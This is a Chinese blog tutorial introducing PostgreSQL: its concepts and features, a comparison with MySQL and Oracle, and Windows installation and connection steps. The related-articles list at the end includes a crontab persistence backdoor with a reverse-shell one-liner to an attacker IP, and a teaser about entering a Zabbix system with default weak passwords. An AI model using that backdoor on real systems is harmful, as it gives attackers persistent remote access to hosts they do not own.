PostgreSQL介绍与安装

一、PostgreSQL数据库介绍

1、什么是数据库?

数据库(Database)是按照数据结构来组织、存储和管理数据的仓库。每个数据库都有一个或多个不同的 API 用于创建,访问,管理,搜索和复制所保存的数据。

我们也可以将数据存储在文件中,但是在文件中读写数据速度相对较慢。

所以,现在我们使用关系型数据库管理系统(RDBMS)来存储和管理的大数据量。所谓的关系型数据库,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据。

ORDBMS(对象关系数据库系统)是面向对象技术与传统的关系数据库相结合的产物,查询处理是 ORDBMS 的重要组成部分,它的性能优劣将直接影响到DBMS 的性能。

ORDBMS在原来关系数据库的基础上,增加了一些新的特性。

RDBMS 是关系数据库管理系统,是建立实体之间的联系,最后得到的是关系表。

OODBMS 面向对象数据库管理系统,将所有实体都看成对象,并将这些对象类进行封装,对象之间的通信通过消息 OODBMS 对象关系数据库在实质上还是关系数据库 。

PostgreSQL是一个功能强大的开源关系型数据库管理系统(RDBMS),它具有良好的可扩展性、稳定性和安全性。

2、ORDBMS 术语

在我们开始学习 PostgreSQL 数据库前,让我们先了解下 ORDBMS 的一些术语:

  • 数据库: 数据库是一些关联表的集合。
  • 数据表: 表是数据的矩阵。在一个数据库中的表看起来像一个简单的电子表格。
  • 列: 一列(数据元素) 包含了相同的数据, 例如邮政编码的数据。
  • **行:**一行(=元组,或记录)是一组相关的数据,例如一条用户订阅的数据。
  • 冗余:存储两倍数据,冗余降低了性能,但提高了数据的安全性。
  • 主键:主键是唯一的。一个数据表中只能包含一个主键。你可以使用主键来查询数据。
  • **外键:**外键用于关联两个表。
  • 复合键:复合键(组合键)将多个列作为一个索引键,一般用于复合索引。
  • **索引:**使用索引可快速访问数据库表中的特定信息。索引是对数据库表中一列或多列的值进行排序的一种结构。类似于书籍的目录。
  • 参照完整性: 参照的完整性要求关系中不允许引用不存在的实体。与实体完整性是关系模型必须满足的完整性约束条件,目的是保证数据的一致性。

3、PostgreSQL 特征

  • 函数:通过函数,可以在数据库服务器端执行指令程序。

  • 索引:用户可以自定义索引方法,或使用内置的 B 树,哈希表与 GiST 索引。

  • 触发器:触发器是由SQL语句查询所触发的事件。如:一个INSERT语句可能触发一个检查数据完整性的触发器。触发器通常由INSERT或UPDATE语句触发。

  • **多版本并发控制:**PostgreSQL使用多版本并发控制(MVCC,Multiversion concurrency control)系统进行并发控制,该系统向每个用户提供了一个数据库的"快照",用户在事务内所作的每个修改,对于其他的用户都不可见,直到该事务成功提交。

  • 规则:规则(RULE)允许一个查询能被重写,通常用来实现对视图(VIEW)的操作,如插入(INSERT)、更新(UPDATE)、删除(DELETE)。

  • 数据类型:包括文本、任意精度的数值数组、JSON 数据、枚举类型、XML 数据

    等。

  • 全文检索:通过 Tsearch2 或 OpenFTS,8.3版本中内嵌 Tsearch2。

  • NoSQL:JSON,JSONB,XML,HStore 原生支持,至 NoSQL 数据库的外部数据包装器。

  • 数据仓库:能平滑迁移至同属 PostgreSQL 生态的 GreenPlum,DeepGreen,HAWK 等,使用 FDW 进行 ETL。

4、PostgreSQL 特点

  • 开源性:PostgreSQL是开源软件,可以免费获取和使用。
  • 关系型数据库:支持关系型数据模型,使用SQL语言进行数据操作。
  • 可扩展性:支持丰富的扩展功能和插件,可以满足各种复杂的数据处理需求。
  • 事务支持:具有强大的事务处理能力,支持ACID(原子性、一致性、隔离性、持久性)属性,确保数据的完整性和一致性。
  • 多版本并发控制(MVCC):支持多个事务同时对同一数据进行读写操作,提高并发访问性能。
  • 复杂查询:支持复杂的查询操作,包括联合查询、子查询、聚合函数等。
  • 完整的数据类型支持:支持丰富的数据类型,包括基本数据类型、数组、JSON等。
  • 安全性:提供丰富的安全特性,包括访问控制、SSL支持、数据加密等。
  • 可定制性:提供丰富的可定制选项和配置参数,可以根据具体需求进行灵活配置。

二、PosetgreSQL与其他数据比较

PostgreSQL、MySQL和Oracle是三种常见的关系型数据库管理系统(RDBMS),它们在一些方面有着相似之处,但在很多方面也存在着显著的差异。以下是它们之间的比较:

1、开源性和许可证

  • PostgreSQL是一种开源数据库,采用的是PostgreSQL许可证,允许用户自由使用、修改和分发。
  • MySQL也是开源的,采用的是GNU通用公共许可证(GPL),但也有商业许可证版本由Oracle提供。
  • Oracle是一种闭源的商业数据库,需要购买许可证才能使用。

2、数据完整性和约束

  • PostgreSQL在这方面非常严格,支持多种约束、外键、触发器和存储过程,可以确保数据的完整性和一致性。
  • MySQL在默认情况下对数据完整性的支持较弱,但可以通过设置来实现一定程度的约束。
  • Oracle提供了强大的数据完整性支持,包括复杂的约束和触发器。

3、功能和扩展性

  • PostgreSQL在功能和扩展性方面非常强大,支持复杂的数据类型(如数组、JSON、XML)、全文搜索、地理空间数据和自定义扩展。PostgreSQL还支持主从复制、流复制、逻辑复制等方式实现数据备份和高可用性。可以通过内置的或第三方的工具实现集群部署和自动故障转移。
  • MySQL在功能方面较为简化,但在处理简单的事务时性能较好。它支持存储过程、触发器和视图,但功能相对较少。
  • Oracle在功能和扩展性方面也非常强大,支持复杂的企业级应用需求,包括高级分析、数据挖掘和大规模数据处理。

4、性能和扩展性

  • 在大型企业级应用中,Oracle通常提供了出色的性能和扩展性,但也伴随着高昂的成本。
  • PostgreSQL在处理复杂查询和高并发时表现优异,对于读写均衡的应用具有良好的性能。
  • MySQL在处理简单查询和读密集型应用时表现良好,但在复杂查询和高并发情况下性能可能有所下降。

5、存储引擎和事务管理

  • PostgreSQL使用MVCC(多版本并发控制)来实现事务隔离,支持多种存储引擎。
  • MySQL拥有多种存储引擎,如InnoDB、MyISAM等,可以根据需求选择合适的引擎。
  • Oracle拥有自己的存储引擎和事务管理机制,提供了高度可靠的事务处理和数据保护。

6、适用场景

  • PostgreSQL适用于需要高度可定制性和复杂查询的应用,如大型企业应用和数据仓库。
  • MySQL适用于需要快速读取和简单事务处理的应用,如Web应用和小型企业应用。
  • Oracle适用于大型企业级应用,如金融系统和电信系统等对性能和可用性要求较高的应用。

三、PosetgreSQL下载与安装

1、下载与安装

  • 官网

    • https://www.postgresql.org/
  • 下载地址

    • Windows 上安装 PostgreSQ,在这里我们使用 EnterpriseDB 来下载安装,EnterpriseDB 是全球唯一一家提供基于 PostgreSQL 企业级产品与服务的厂商。
    • https://www.enterprisedb.com/downloads/postgres-postgresql-downloads
  • 一路下一步(中间有个设置密码的要记住咯),但是记得最后一步有个选项不要勾选,如下图

在这里插入图片描述

2、连接服务器

(1)pgAdmin4连接

下载完会发现多了很多东西,首先我们先打开pgAdmin4。

在这里插入图片描述

打开看到有个Server下面会有个PostgreSQL 16,双击,会弹出验证密码的输入框,输入之前安装设置的密码即可,连接成功就是下面的界面。

在这里插入图片描述

(2)SQL Shell连接

现在打开上面的SQL Shell,按照下面输入即可,口令就是你安装设置的密码。

在这里插入图片描述

(3)Navicat连接

上面两种都是PostgreSQL自带的,通过Navicat连接的话,最好是17版本及以上(因为我之前16版本连接失败了),首先在连接里面选择PostgreSQL。

在这里插入图片描述

输入连接名称,用户名默认就是postgres,密码就是安装时候设置的,然后就是测试连接,出现连接成功就可以直接连接了。

在这里插入图片描述

连接成功

在这里插入图片描述

其实还有一种cmd连接的,但是太麻烦了,懒得弄了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/762723.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

论文复现---基于随机蕨的快速相位差DOA估计

本篇文章是博主在通信等领域学习时,用于个人学习、研究或者欣赏使用,并基于博主对通信等领域的一些理解而记录的学习摘录和笔记,若有不当和侵权之处,指出后将会立即改正,还望谅解。文章分类在通信领域笔记:…

#笔记# 写给自己用的小爬虫

最近完成了一个文旅行业信息聚合的小应用,实现仅从一个入口了解全行业的信息动态,不用一个一个翻看各网站,节省了不少检索时间。 一、基本思路 明确数据来源。基于前述目标,确定数据源为文化和旅游部管理部门官网,比…

二维数组-----螺旋性矩阵输出

题目有点难,ok其实是很难。。。 观察样例输出,不难发现,螺旋数组中元素的递增轨迹为:右右右、下下下、左左左、上上上 简明为:右、下、左、上。可以设开始递增的元素1的位置为(x,y)&#xff0c…

如何用大模型RAG做医疗问答系统

代码参考 https://github.com/honeyandme/RAGQnASystemhttps://github.com/LongxingTan/open-retrievals TLDR if 疾病症状 in entities and 疾病 not in entities:sql_q "match (a:疾病)-[r:疾病的症状]->(b:疾病症状 {名称:%s}) return a.名称" % (entitie…

某配送平台未授权访问和弱口令(附赠nuclei默认密码验证脚本)

找到一个某src的子站,通过信息收集插件,发现ZABBIX-监控系统,可以日一下 使用谷歌搜索历史漏洞:zabbix漏洞 通过目录扫描扫描到后台,谷歌搜索一下有没有默认弱口令 成功进去了,挖洞就是这么简单 搜索文章还…

告别流失,拥抱增长!Xinstall智能邀请系统,让你的App拉新更高效

在移动互联网时代,App的推广和运营面临着诸多挑战。其中,如何有效地进行邀请拉新活动,吸引更多新用户,成为了每个运营者都需要面对的问题。今天,我们将为大家介绍一款能够帮助你轻松解决这一难题的神器——Xinstall。 …

权限维持-Linux-定时任务-Crontab后门

目录 靶机编辑后门反弹 靶机添加定时任务 攻击机监听 靶机编辑后门反弹 vim /etc/.xiaodi.sh --创建文件bash -i >& /dev/tcp/IP/998 0>&1 --反弹代码chmod x /etc/.xiaodi.sh --给执行权限 靶机添加定时任务 vim /etc/crontab */1 * * * * r…

【投稿优惠|优质会议】2024年先进技术与教育行业发展国际学术会议(ICATEID 2024)

【投稿优惠|优质会议】2024年先进技术与教育行业发展国际学术会议(ICATEID 2024) 重要信息 会议官网:http://www.icateid.com 会议地址:三亚 收录检索:EI,CPCI,CNKI,Google Scholar 投稿邮箱:culture…

2024年文化传播与对外交流国际学术会议(ICCCFE 2024)

2024年文化传播与对外交流国际学术会议(ICCCFE 2024) 2024 International Conference on Cultural Communication and Foreign Exchange(ICCCFE 2024) 会议简介: 2024年文化传播与对外交流国际学术会议(ICCCFE 2024)定…

Vue2 - 项目上线后生产环境中去除console.log的输出以及断点的解决方案

前言 当你准备将Vue.js应用程序部署到生产环境时,一个关键的优化步骤是移除代码中的所有 console.log 语句以及断点。在开发阶段,console.log 是一个非常有用的调试工具,但在生产环境中保留它们可能会影响性能和安全性。在本文中,我将向你展示如何通过使用Vue CLI 2来自动…

【TB作品】atmega16 计算器,ATMEGA16单片机,Proteus仿真

实验报告:基于ATmega16单片机的简易计算器设计 1. 实验背景 计算器是日常生活和工作中不可或缺的工具,通过按键输入即可实现基本的四则运算。通过本实验,我们将利用ATmega16单片机、矩阵键盘和LCD1602显示屏,设计并实现一个简易…

docker 部署jitsi meet

1. 部署环境: 1.1 vm 虚拟机 安装的 centos 7 1.2 centos7安装docker 和 docker-compose 2.docker命令 官网部署文档地址:(文档地址有可能失效) Self-Hosting Guide - Docker | Jitsi Meet 2.1Download and extract the late…

机器人控制系列教程之任务空间运动控制器搭建(2)

Simulink中的实例 推文《机器人控制系列教程之任务空间运动控制器搭建(1)》中,我们详细的讲解了Simulink中的taskSpaceMotionModel模块,实现的方式可以按照如下的步骤。 可以控制器模型替换为taskSpaceMotionModel模块后,该模块的输入分别为…

(1)Jupyter Notebook 下载及安装

目录 1. Jupyter Notebook是什么?2. Jupyter Notebook特征3. 应用3. 利用Google Colab安装Jupyter Notebook3.1 什么是 Colab?3.2 访问 Google Colab 1. Jupyter Notebook是什么? 百度百科: Jupyter Notebook(此前被称为 IPython …

快钱支付股东全部股权已被质押!

根据近期工商信息,第三方支付机构快钱支付清算信息有限公司(简称“快钱支付”)实际控股方快钱金融服务(上海)有限公司(简称“快钱金融”),作为出质股权标的企业,被出质给…

如何实现Action菜单

文章目录 1. 概念介绍2. 思路与方法2.1 实现思路2.2 实现方法 3. 示例代码4. 内容总结 我们在上一章回中介绍了"自定义标题栏"相关的内容,本章回中将介绍自定义Action菜单.闲话休提,让我们一起Talk Flutter吧。 1. 概念介绍 我们在这里提到的…

2024年【浙江省安全员-C证】考试报名及浙江省安全员-C证考试总结

题库来源:安全生产模拟考试一点通公众号小程序 浙江省安全员-C证考试报名考前必练!安全生产模拟考试一点通每个月更新浙江省安全员-C证考试总结题目及答案!多做几遍,其实通过浙江省安全员-C证复审模拟考试很简单。 1、【多选题】…

基于CNN的股票预测方法【卷积神经网络】

基于机器学习方法的股票预测系列文章目录 一、基于强化学习DQN的股票预测【股票交易】 二、基于CNN的股票预测方法【卷积神经网络】 文章目录 基于机器学习方法的股票预测系列文章目录一、CNN建模原理二、模型搭建三、模型参数的选择(1)探究window_size…

【区块链+基础设施】珠三角征信链 | FISCO BCOS应用案例

“珠三角征信链”是中国人民银行广州分行、中国人民银行深圳市中心支行按照中国人民银行总行工作部署,积 极贯彻珠三角一体化发展、粤港澳大湾区建设等国家战略而建设的跨区域征信一体化数据中心枢纽,以 FISCO BCOS 为底链构建应用平台,并由微…

WPS图片无法居中、居中按钮无法点击(是灰色的)

在PPT中复制对象到WPS word中后,导致图片一直靠左,而无法居中 直接选中图片是错误的: 这时你会发现居中按钮无法点击(是灰色的) 正确的是选中图片的前面的部分,然后点击居中,或者Ctrl E